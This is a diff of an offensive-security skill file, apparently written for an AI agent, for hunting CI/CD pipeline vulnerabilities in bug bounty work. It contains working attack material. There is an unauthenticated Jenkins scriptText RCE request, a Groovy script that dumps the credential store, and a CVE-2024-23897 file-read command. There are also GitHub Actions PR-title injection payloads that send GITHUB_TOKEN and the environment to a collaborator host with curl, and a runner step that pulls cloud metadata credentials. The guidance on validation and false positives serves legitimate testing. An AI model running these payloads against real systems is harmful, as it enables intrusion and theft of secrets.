hunt-cicd · diff
git:20260601.6abcf94 to git:20260607.372bc2f
193 added, 146 removed. Audit A to B.
What this update changes in the checks
This update newly trips 1 check:
- No link to a raw IP address
matched: http://169.254.169.254
A tripped check is a label, not a verdict: read the matched text and the lines below. This week's updates that newly trip a check.
---
name: hunt-cicd
- description: Hunt CI/CD pipeline vulnerabilities — GitHub Actions workflow injection (pull_request_target + untrusted input), Jenkins script console RCE, GitLab CI runner token exposure, Terraform state file leakage, artifact leakage, GitHub Actions secrets in logs, pipeline environment variable disclosure. Use when target has public GitHub org, exposed CI dashboards, or build artifacts are reachable.
- sources: hackerone_public, github_security_research, cve_database
+ description: "Hunt CI/CD pipeline vulnerabilities — GitHub Actions workflow injection (pull_request_target Pwnrequest + ${{ }}-into-shell), self-hosted runner poisoning, OIDC trust-policy abuse, Jenkins script-console RCE and CVE-2024-23897 file read, GitLab CI runner-token registration, Terraform state file leakage, artifact/log secret leakage, pipeline env-var disclosure. Use when target has a public GitHub/GitLab org, exposed CI dashboards (Jenkins/TeamCity/Drone/Argo), or build artifacts/images are reachable."
+ sources: hackerone_public, github_security_lab, cve_database, portswigger_research
report_count: 18
---
# HUNT-CICD — CI/CD Pipeline Security
## Crown Jewel Targets
- Jenkins `/script` console accessible = immediate RCE. GitHub Actions `pull_request_target` with untrusted input = secret exfil from fork PRs.
+ Jenkins `/script` console reachable = immediate RCE. A GitHub Actions `pull_request_target` (or `workflow_run`) workflow that checks out the **PR head ref** and references untrusted `${{ github.event.* }}` in a shell `run:` = "Pwnrequest" → secret exfil from a fork PR with zero approval.
**Highest-value findings:**
- - **Jenkins Script Console** — Groovy script execution on Jenkins server → full RCE → extract all credentials/secrets
- - **GitHub Actions `pull_request_target` injection** — workflow triggered on fork PR with `${{ github.event.pull_request.title }}` in shell command → attacker PR title = command injection → steal repo secrets
- - **GitLab Runner registration token** — found in config/logs → register own runner → steal CI secrets on next pipeline run
- - **Terraform state leakage** — `.tfstate` file in public S3/GCS → all infrastructure credentials, DB passwords, API keys
- - **GitHub Actions artifact leakage** — build artifacts publicly downloadable → binaries with embedded secrets, env vars in logs
+ - **Jenkins Script Console** — Groovy execution → full RCE → dump the credential store
+ - **Jenkins CLI file read (CVE-2024-23897)** — pre-auth `@/etc/passwd` arg expansion → read `secret.key`/`credentials.xml` → forge admin → RCE
+ - **GitHub Actions `pull_request_target` injection (Pwnrequest)** — fork PR controls `${{ }}` inside a privileged shell step → exfil `GITHUB_TOKEN` (often `contents:write`) and org secrets
+ - **Self-hosted runner poisoning** — non-ephemeral runner on a public repo executes a fork PR's build → attacker code runs on the runner host → persistence + secret theft
+ - **OIDC trust-policy abuse** — over-broad `sub` claim wildcard in an AWS IAM role trust policy → any workflow in the org assumes a privileged cloud role
+ - **Terraform state leakage** — `*.tfstate` in public S3/GCS/Blob → plaintext infra creds, DB passwords, private keys
+ - **Runner token / artifact / log leakage** — register attacker runner, or harvest secrets printed before `::add-mask::`
---
- ## Phase 1 — Jenkins Detection & Script Console
+ ## "It-Didn't-Happen-Without-Proof" Gate (Read First)
- ```bash
- # Jenkins fingerprint
- curl -sI "https://$TARGET/jenkins" | grep -i "x-jenkins\|hudson"
- curl -sI "https://$TARGET/" | grep -i "x-jenkins"
- curl -s "https://$TARGET/jenkins/api/json" | python3 -m json.tool 2>/dev/null | head -10
+ CI/CD findings are over-reported because dashboards *look* exploitable. Before claiming anything:
- # Common Jenkins paths
- for path in /jenkins /jenkins/ /ci /build /bamboo "/:8080" "/:8443"; do
- STATUS=$(curl -s -o /dev/null -w "%{http_code}" "https://$TARGET$path")
- [ "$STATUS" != "404" ] && [ "$STATUS" != "000" ] && echo "$path: $STATUS"
+ 1. **A login page is not an RCE.** A reachable `/script` URL that returns a Jenkins login or `403` is **not** an unauthenticated script console. Only an actual `scriptText` POST returning your command's output counts.
+ 2. **A `pull_request_target` workflow is not automatically injectable.** It is only exploitable if untrusted data flows into an execution sink. Confirm the data flow (see FP section) before you ever open a PR.
+ 3. **Blind injection requires OOB.** If the vulnerable step has no output you can read, you MUST confirm via Burp Collaborator / interactsh — a unique per-sink subdomain that the runner calls out to. A workflow that "ran green" is not proof your code executed.
+ 4. **A `.tfstate` HTTP 200 is not cred exposure until you parse it.** Diff against a baseline (see FP section) — many `tfstate` files contain only resource IDs and outputs, no secrets.
+
+ ---
+
+ ## Phase 1 — Jenkins: Detection, Script Console, CVE-2024-23897
+
+ ```bash
+ # Fingerprint — the X-Jenkins header leaks the exact version (drives CVE selection)
+ curl -sI "https://$TARGET/" | grep -iE "x-jenkins|x-hudson"
+ curl -sI "https://$TARGET/login" | grep -i "x-jenkins-session"
+ for p in /script /jenkins/script /ci/script /scriptText /jenkins/scriptText; do
+ code=$(curl -s -o /dev/null -w "%{http_code}" "https://$TARGET$p")
+ echo "$p -> $code" # 200 on /script == anon script console; 403/401 == auth required (NOT a finding alone)
done
+ ```
- # Script console (unauthenticated access = Critical)
- curl -s "https://$TARGET/jenkins/script" | grep -i "Script Console\|Groovy"
- curl -s "https://$TARGET/script" | grep -i "Script Console\|Groovy"
+ **Unauthenticated script console → RCE (only if the POST returns output):**
+ ```bash
+ # This must return uid=...(jenkins). If it returns the Jenkins login HTML or a
+ # Crowd/SSO error page, the console is NOT anon-accessible — do not report it.
+ curl -s -X POST "https://$TARGET/scriptText" \
+ --data-urlencode 'script=println "id".execute().text'
+ ```
- # Execute Groovy script
- curl -s -X POST "https://$TARGET/jenkins/scriptText" \
- --data-urlencode 'script=println("id".execute().text)' | head -5
+ **Dump the credential store** (Groovy decrypts secrets the UI masks):
+ ```groovy
+ import com.cloudbees.plugins.credentials.CredentialsProvider
+ import com.cloudbees.plugins.credentials.common.StandardUsernamePasswordCredentials
+ import org.jenkinsci.plugins.plaincredentials.StringCredentials
+ CredentialsProvider.lookupCredentials(StandardUsernamePasswordCredentials, jenkins.model.Jenkins.instance).each {
+ println "${it.id} :: ${it.username} :: ${it.password}"
+ }
+ CredentialsProvider.lookupCredentials(StringCredentials, jenkins.model.Jenkins.instance).each {
+ println "${it.id} :: ${it.secret}"
+ }
+ ```
- # Dump all credentials from Jenkins
- curl -s -X POST "https://$TARGET/jenkins/scriptText" \
- --data-urlencode 'script=
- import com.cloudbees.plugins.credentials.*
- import com.cloudbees.plugins.credentials.common.*
- def creds = CredentialsProvider.lookupCredentials(StandardCredentials.class)
- creds.each { println it.id + " : " + (it.hasProperty("secret") ? it.secret : "") }
- '
+ **CVE-2024-23897 — pre-auth arbitrary file read via Jenkins CLI** (args4j `@`-file expansion; affects ≤2.441 / LTS ≤2.426.2). With anonymous read, this escalates to RCE by reading `secret.key` + `master.key` to decrypt `credentials.xml`, or reading a user's `config.xml` API token:
+ ```bash
+ # Download the matching jenkins-cli.jar from /jnlpJars/jenkins-cli.jar first.
+ java -jar jenkins-cli.jar -s "https://$TARGET/" -http connect-node "@/etc/passwd"
+ # The file content is echoed back in the error. Then target:
+ # @/var/lib/jenkins/secret.key @/var/lib/jenkins/secrets/master.key
+ # @/var/lib/jenkins/credentials.xml
```
+ Validation: the response must contain real file content (root:x:0:0). A generic "no such agent" with no leaked line means the instance is patched or the path is wrong — not a finding.
---
- ## Phase 2 — GitHub Actions Injection
+ ## Phase 2 — GitHub Actions: Pwnrequest, `${{ }}`-into-Shell, Runner Poisoning, OIDC
- ```bash
- # Find repos with pull_request_target + untrusted input
- # Search target org's workflows
- gh api graphql -f query='
- {
- organization(login: "TARGET_ORG") {
- repositories(first: 100) {
- nodes {
- name
- defaultBranchRef { name }
- }
- }
- }
- }' 2>/dev/null | jq -r '.data.organization.repositories.nodes[].name' | while read repo; do
- # Check for pull_request_target workflows
- gh api "repos/TARGET_ORG/$repo/contents/.github/workflows" 2>/dev/null | \
- jq -r '.[].name' | while read wf; do
- gh api "repos/TARGET_ORG/$repo/contents/.github/workflows/$wf" 2>/dev/null | \
- jq -r '.content' | base64 -d 2>/dev/null | \
- grep -l "pull_request_target" && echo "CANDIDATE: $repo/$wf"
- done
- done
+ ### The core distinction (this is where 90% of false PoCs die)
- # Grep downloaded workflow files for injection patterns
- grep -r "pull_request_target" .github/workflows/ --include="*.yml" 2>/dev/null | head -20
- grep -r 'github.event.pull_request' .github/workflows/ --include="*.yml" 2>/dev/null | \
- grep -v "# " | head -20
+ There are **two** sink classes — they need different payloads:
- # INJECTION PATTERN (vulnerable):
- # on: pull_request_target
- # steps:
- # - run: echo "${{ github.event.pull_request.title }}" ← INJECTION POINT
- #
- # ATTACK: PR title = "; curl COLLAB_HOST/secrets?d=$(cat $GITHUB_TOKEN);"
+ - **`${{ }}` template expansion into a shell `run:`** — the expression is substituted into the script *before* the shell runs, so a newline/backtick/`$(...)` in the untrusted field becomes literal shell. This is the classic injection.
+ - **Environment variable read inside the shell** — `GITHUB_TOKEN`, `secrets.X`, and any `env:`-mapped value are **shell variables whose value IS the string**. To exfiltrate them you use `echo`/`printenv`, **never** `cat $VAR` (that tries to open a file *named* by the token and prints nothing).
+
+ ```yaml
+ # VULNERABLE workflow (untrusted title flows into the script text):
+ on: pull_request_target # runs with write token + secrets, on fork PRs
+ jobs:
+ build:
+ steps:
+ - uses: actions/checkout@v4
+ with: { ref: ${{ github.event.pull_request.head.sha }} } # checks out ATTACKER code
+ - run: echo "Building PR ${{ github.event.pull_request.title }}" # ← ${{ }} INJECTION
```
- ---
+ **Attack via the `${{ }}` sink** — set the PR **title** (or branch name, body, label, commit message — all attacker-controlled) to break out of the echo and run your own commands. Exfiltrate the token with `printenv`, not `cat`:
+ ```
+ PR title: a"; printenv GITHUB_TOKEN | base64 | tr -d '\n' | { read T; curl "https://x.<COLLAB>/?t=$T"; }; echo "
+ ```
+ For a multi-line YAML `run:`, a newline injection is cleaner:
+ ```
+ PR title: foo\n curl https://x.<COLLAB>/?d=$(printenv | base64 -w0)
+ ```
- ## Phase 3 — GitHub Actions Secrets in Logs
+ **Attack via a poisoned checkout (no `${{ }}` needed)** — if `pull_request_target` checks out the PR head and then runs a build script / installs deps from the checked-out tree (`make`, `npm ci` with a malicious `preinstall`, a Makefile, a `.github/` action in the PR), the *runner executes attacker code directly*. Drop into any build hook:
+ ```bash
+ # in attacker's PR, e.g. package.json preinstall or Makefile:
+ curl -s "https://x.<COLLAB>/?env=$(printenv | base64 -w0)"
+ cat /proc/self/environ | tr '\0' '\n' | base64 -w0 # captures secrets injected as env
+ ```
+ **Self-hosted runner poisoning** — if `runs-on: self-hosted` (or a custom label) on a **public** repo with `pull_request`/`pull_request_target`, a fork PR's job runs on the org's own host. Non-ephemeral runners persist tools/creds between jobs. Confirm by reading the runner's identity and metadata from inside the job:
```bash
- # Check if GitHub Actions logs are publicly accessible
- # Some orgs have public repos with exposed runs
+ - run: |
+ whoami; hostname; id
+ curl -s "https://x.<COLLAB>/?h=$(hostname)&u=$(whoami)"
+ curl -s "https://x.<COLLAB>/imds=$(curl -s --max-time 2 http://169.254.169.254/latest/meta-data/iam/security-credentials/ | base64 -w0)"
+ ```
- # List recent workflow runs
- gh api "repos/TARGET_ORG/TARGET_REPO/actions/runs" 2>/dev/null | \
- jq '.workflow_runs[:5] | .[] | {id: .id, name: .name, status: .status}'
+ **OIDC trust-policy abuse** — workflows that `configure-aws-credentials` via OIDC assume an IAM role. A trust policy whose `token.actions.githubusercontent.com:sub` condition is missing or uses a loose wildcard (`repo:ORG/*:*`) lets **any** workflow in the org (including a malicious one you can merge, or a fork on a misconfigured trigger) assume that role. Inspect the role:
+ ```bash
+ aws iam get-role --role-name <RoleName> --query 'Role.AssumeRolePolicyDocument'
+ # Red flag: StringLike on sub with "repo:ORG/*" or no sub condition at all (only aud).
+ ```
+ Then prove it: from a workflow you control in-org, assume the role and run `aws sts get-caller-identity` returning the privileged role ARN.
- # Download logs for a run
- gh api "repos/TARGET_ORG/TARGET_REPO/actions/runs/RUN_ID/logs" 2>/dev/null > /tmp/run-logs.zip
- unzip /tmp/run-logs.zip -d /tmp/run-logs/
- grep -riE "(secret|password|token|key|credential)" /tmp/run-logs/ | grep -v "::add-mask::"
+ ### Recon
- # Check artifacts
- gh api "repos/TARGET_ORG/TARGET_REPO/actions/runs/RUN_ID/artifacts" 2>/dev/null
+ ```bash
+ # Enumerate org workflows that use the dangerous triggers
+ gh api graphql -f query='{organization(login:"ORG"){repositories(first:100){nodes{name}}}}' \
+ | jq -r '.data.organization.repositories.nodes[].name' | while read r; do
+ for wf in $(gh api "repos/ORG/$r/contents/.github/workflows" 2>/dev/null | jq -r '.[]?.name'); do
+ body=$(gh api "repos/ORG/$r/contents/.github/workflows/$wf" 2>/dev/null | jq -r '.content' | base64 -d)
+ echo "$body" | grep -Eq 'pull_request_target|workflow_run' && \
+ echo "$body" | grep -Eq '\$\{\{ *github\.event|self-hosted|head\.ref|head\.sha' && \
+ echo "CANDIDATE: ORG/$r/$wf"
+ done
+ done
```
+ Triage candidates with the static analyzer before opening any PR: `gh extension install rhysd/actionlint` or run **zizmor** (`pip install zizmor; zizmor .github/workflows/`) which flags template-injection and dangerous-checkout patterns specifically.
---
- ## Phase 4 — GitLab CI Misconfigurations
+ ## Phase 3 — Secrets in Logs & Artifacts
```bash
- # GitLab Runner registration token (allows registering attacker runner)
- # Often found in:
- # - /etc/gitlab-runner/config.toml (if LFI/RFI)
- # - GitLab settings page (screenshot in docs, Slack, etc.)
- # - Error logs
- # - CI/CD variables if misconfigured
+ # Public-repo run logs frequently contain secrets printed BEFORE ::add-mask:: took effect,
+ # or echoed via debug. The masker only hides exact known values — derived/base64 forms slip through.
+ gh api "repos/ORG/REPO/actions/runs" | jq -r '.workflow_runs[:20][].id' | while read id; do
+ gh api "repos/ORG/REPO/actions/runs/$id/logs" > /tmp/r.zip 2>/dev/null && \
+ unzip -o -q /tmp/r.zip -d /tmp/runlogs && \
+ grep -rniE 'AKIA[0-9A-Z]{16}|ghp_[A-Za-z0-9]{36}|-----BEGIN|eyJ[A-Za-z0-9_-]{10,}\.' /tmp/runlogs
+ done
- # Check for exposed GitLab instances
- curl -s "https://$TARGET/gitlab/" | grep -i "GitLab"
- curl -s "https://$TARGET/-/admin/runners" | grep -i "token\|runner"
+ # Artifacts — env dumps, .env, kubeconfig, built binaries with embedded secrets
+ gh api "repos/ORG/REPO/actions/artifacts" | jq -r '.artifacts[] | "\(.id) \(.name)"'
+ ```
+ Note `actions/upload-artifact` does **not** redact secrets — an artifact named `env`/`debug` is a common direct leak.
- # API access with default/stolen token
- curl -s "https://$TARGET/api/v4/runners?type=instance_type" \
- -H "PRIVATE-TOKEN: TOKEN"
+ ---
- # Check GitLab CI config for secret exposure
- curl -s "https://raw.githubusercontent.com/TARGET_ORG/TARGET_REPO/main/.gitlab-ci.yml"
+ ## Phase 4 — GitLab CI
+
+ ```bash
+ # Runner registration token → register an attacker runner that picks up jobs (and their secrets).
+ # Found in config.toml (via LFI/disclosure), screenshots, /admin/runners, or leaked CI logs.
+ curl -s "https://$TARGET/api/v4/projects/PID/variables" -H "PRIVATE-TOKEN: $TOK" # masked? protected?
+ curl -s "https://$TARGET/api/v4/runners?type=instance_type" -H "PRIVATE-TOKEN: $TOK"
+
+ # .gitlab-ci.yml review: unmasked variables, `CI_JOB_TOKEN` over-permission,
+ # `rules:` that run privileged jobs on MRs from forks (the GitLab analogue of pull_request_target).
+ curl -s "https://$TARGET/api/v4/projects/PID/repository/files/.gitlab-ci.yml/raw?ref=main"
```
+ A registration token alone is **not** a finding unless the instance allows that token to register a runner that will execute a target project's pipeline. Demonstrate by registering an ephemeral runner you own and capturing a job's masked variables.
---
- ## Phase 5 — Terraform State File Leakage
+ ## Phase 5 — Terraform State Leakage
```bash
- # Terraform state files in public cloud storage
- # Try common bucket/path patterns
- TARGETS=(
- "https://TARGET.s3.amazonaws.com/terraform.tfstate"
- "https://s3.amazonaws.com/TARGET-terraform/terraform.tfstate"
- "https://TARGET-infra.s3.amazonaws.com/terraform.tfstate"
- "https://storage.googleapis.com/TARGET-terraform/terraform.tfstate"
- "https://TARGET.blob.core.windows.net/terraform/terraform.tfstate"
- )
-
- for URL in "${TARGETS[@]}"; do
- STATUS=$(curl -s -o /tmp/tfstate_test -w "%{http_code}" "$URL")
- if [ "$STATUS" = "200" ]; then
- echo "[+] FOUND: $URL"
- cat /tmp/tfstate_test | python3 -m json.tool 2>/dev/null | \
- grep -i "password\|secret\|key\|token" | head -20
- fi
+ # Probe common public-bucket/path patterns (parameterize $T and $ORG)
+ for U in \
+ "https://$ORG.s3.amazonaws.com/terraform.tfstate" \
+ "https://s3.amazonaws.com/$ORG-tfstate/terraform.tfstate" \
+ "https://$ORG-infra.s3.amazonaws.com/env/prod/terraform.tfstate" \
+ "https://storage.googleapis.com/$ORG-tfstate/default.tfstate" \
+ "https://$ORG.blob.core.windows.net/tfstate/terraform.tfstate" ; do
+ code=$(curl -s -o /tmp/tf.json -w "%{http_code}" "$U")
+ [ "$code" = "200" ] && echo "[+] 200 $U" && \
+ jq -r '.resources[].instances[].attributes
+ | to_entries[] | select(.key|test("password|secret|private_key|token|access_key";"i"))
+ | "\(.key) = \(.value)"' /tmp/tf.json 2>/dev/null
done
-
- # Also check .terraform directory in repos
- gh search code --owner TARGET_ORG "terraform.tfstate" --limit 10 2>/dev/null
- gh search code --owner TARGET_ORG "backend \"s3\"" --limit 10 2>/dev/null
+ # Also hunt state in repos / backend configs
+ gh search code --owner ORG "terraform.tfstate" --limit 10
+ gh search code --owner ORG 'backend "s3"' --limit 10
```
+ **False-positive filter:** a `tfstate` that lists only `id`, `arn`, `tags` is not a secret leak. Run the `jq` above and confirm at least one *live* credential (a real `password`, `private_key`, RDS master password, or non-rotated access key). Then prove impact by using that credential read-only (`aws sts get-caller-identity`, a DB connect that returns a banner) — do not just claim "creds in state."
---
- ## Phase 6 — Build Artifact Analysis
+ ## Phase 6 — Build Artifact / Image Analysis
```bash
- # Download publicly available build artifacts
- # GitHub: Actions → Artifacts (if public repo)
- # Docker Hub: pull image and inspect layers
+ docker pull ORG/IMAGE:latest
+ docker history --no-trunc ORG/IMAGE:latest | grep -iE 'ENV|ARG|secret|token|password|key'
+ # Layer-level scan catches secrets removed in a later layer but still present in history:
+ trufflehog docker --image ORG/IMAGE:latest --only-verified
+ ```
+ `--only-verified` filters trufflehog to credentials it could actually authenticate — use it to drop the noise of expired/example keys before reporting.
- # Docker image secret scanning
- docker pull TARGET_ORG/TARGET_IMAGE:latest 2>/dev/null
- docker history TARGET_ORG/TARGET_IMAGE:latest 2>/dev/null | grep -i "env\|key\|secret\|pass"
- docker inspect TARGET_ORG/TARGET_IMAGE:latest | python3 -m json.tool | grep -i "env\|secret"
+ ---
- # Extract all layers
- docker save TARGET_ORG/TARGET_IMAGE:latest | tar -xvC /tmp/image-layers/
- find /tmp/image-layers/ -name "*.json" | xargs grep -l "secret\|password\|key"
+ ## Grounded References (named cases / CVEs)
- # Scan with trufflehog
- trufflehog docker --image TARGET_ORG/TARGET_IMAGE:latest 2>/dev/null
- ```
+ - **Pwnrequest / `pull_request_target` class** — GitHub Security Lab (Jaroslav Lobačevski), "Keeping your GitHub Actions and workflows secure: Untrusted input." The original write-up of fork-PR secret exfil and the dangerous-checkout pattern.
+ - **GitHub Actions workflow-command injection — CVE-2020-15228** — `set-env`/`add-path` workflow commands allowed env/PATH injection from logged output; this drove the deprecation of those commands and the move to `$GITHUB_ENV`.
+ - **Jenkins CLI arbitrary file read — CVE-2024-23897** — args4j `@`-prefixed file expansion (Jenkins ≤2.441 / LTS ≤2.426.2), read `secret.key`/`credentials.xml` → admin → RCE.
+ - **Jenkins Stapler RCE — CVE-2018-1000861** — dynamic routing reaches `groovy.lang.GroovyShell`; a staple of the unauth script-execution chain on older Jenkins.
+ - **PortSwigger / Liam Galvin & others** — research on GitHub Actions injection sinks (title/branch/body/label) and the `${{ }}`-into-`run` template-substitution vector; the basis of the actionlint/zizmor detection rules cited above.
+ (Only CVEs and cases I can attribute exactly are listed. Confirm the running version against the CVE's affected range before claiming it.)
+
---
## Chain Table
| CI/CD finding | Chain to | Impact |
- |--------------|----------|--------|
- | Jenkins script console | Dump all credentials from credential store | Critical |
- | GitHub Actions injection | Exfil `GITHUB_TOKEN` or org secrets | Critical |
- | Terraform state exposed | All infrastructure passwords/API keys | Critical |
- | GitLab runner token | Register malicious runner → steal pipeline secrets | Critical |
- | Docker image secrets | Cloud credentials, DB passwords | High/Critical |
- | Actions logs with secrets | Direct credential use | High |
+ |---|---|---|
+ | Jenkins anon script console | Dump credential store → cloud/DB creds → lateral | Critical |
+ | Jenkins CLI file read (CVE-2024-23897) | Read `secret.key`+`credentials.xml` → forge admin → RCE | Critical |
+ | Actions `${{ }}` injection (Pwnrequest) | `printenv GITHUB_TOKEN`/secrets → push to protected branch | Critical |
+ | Self-hosted runner poisoning | Code-exec on runner host → IMDS creds → persistence | Critical |
+ | OIDC `sub` wildcard | `AssumeRole` privileged cloud role from any org workflow | Critical |
+ | Terraform state w/ live creds | Infra/DB/API credential use | Critical |
+ | GitLab runner registration | Register runner → capture pipeline secrets | High/Critical |
+ | Image/log/artifact secret | Direct credential use | High |
---
- ## Validation
+ ## Validation Discipline (per finding, before you report)
- ✅ Jenkins: Groovy `"id".execute().text` returns `uid=xxx`
- ✅ Actions injection: COLLAB receives `GITHUB_TOKEN` from malicious PR
- ✅ Terraform state: JSON file contains resource passwords/API keys in plaintext
- ✅ Docker image: layer inspection or trufflehog reveals embedded secrets
+ - **Jenkins console:** the `scriptText` POST returns your `id` output (`uid=…(jenkins)`). A returned login/SSO/Crowd page = **not** anon access. Screenshot the request+response.
+ - **CVE-2024-23897:** response contains real `/etc/passwd` content; confirm version is in range. Patched instances return an error with no leaked line.
+ - **Actions injection:** confirm the data flow into a sink first (FP section). Blind step → **Collaborator callback with the runner's source IP** is mandatory. Token exfil via `printenv`/`/proc/self/environ` decoded at your endpoint — never `cat $GITHUB_TOKEN`.
+ - **OIDC abuse:** `aws sts get-caller-identity` from your controlled workflow returns the privileged role ARN — not just a permissive-looking trust policy.
+ - **Terraform state:** `jq` extraction yields ≥1 *live* secret, then a read-only auth proves it. ID/ARN-only state = no finding.
+ - **Runner token / image / logs:** demonstrate the secret authenticates (trufflehog `--only-verified`, or a real API call) — possession of a string is not impact.
- **Severity:**
- - Jenkins script console: Critical
- - Actions injection → secret exfil: Critical
- - Terraform state with creds: Critical
- - Docker image with secrets: High/Critical
+ ### Common false positives to retract
+ - `/script` returning a login page (auth required) reported as "unauth RCE."
+ - `pull_request_target` present but untrusted input never reaches a sink (e.g., used only in `if:` on `github.actor`, or the workflow uses `pull_request` not `_target`).
+ - `${{ }}` reference that is already wrapped in an `env:` block and quoted in the shell (the recommended safe pattern) — not injectable.
+ - `.tfstate` 200 containing only resource metadata.
+ - A masked GitLab variable that is `protected` and only exposed to protected branches the attacker can't push to.
+ - Trufflehog "unverified" hits that are example/expired keys.
+
+ **Severity:** Jenkins console / CVE-2024-23897 / Actions secret exfil / runner poisoning / OIDC role assumption / Terraform live creds = **Critical**. Image/log/artifact secret = **High/Critical** by credential scope.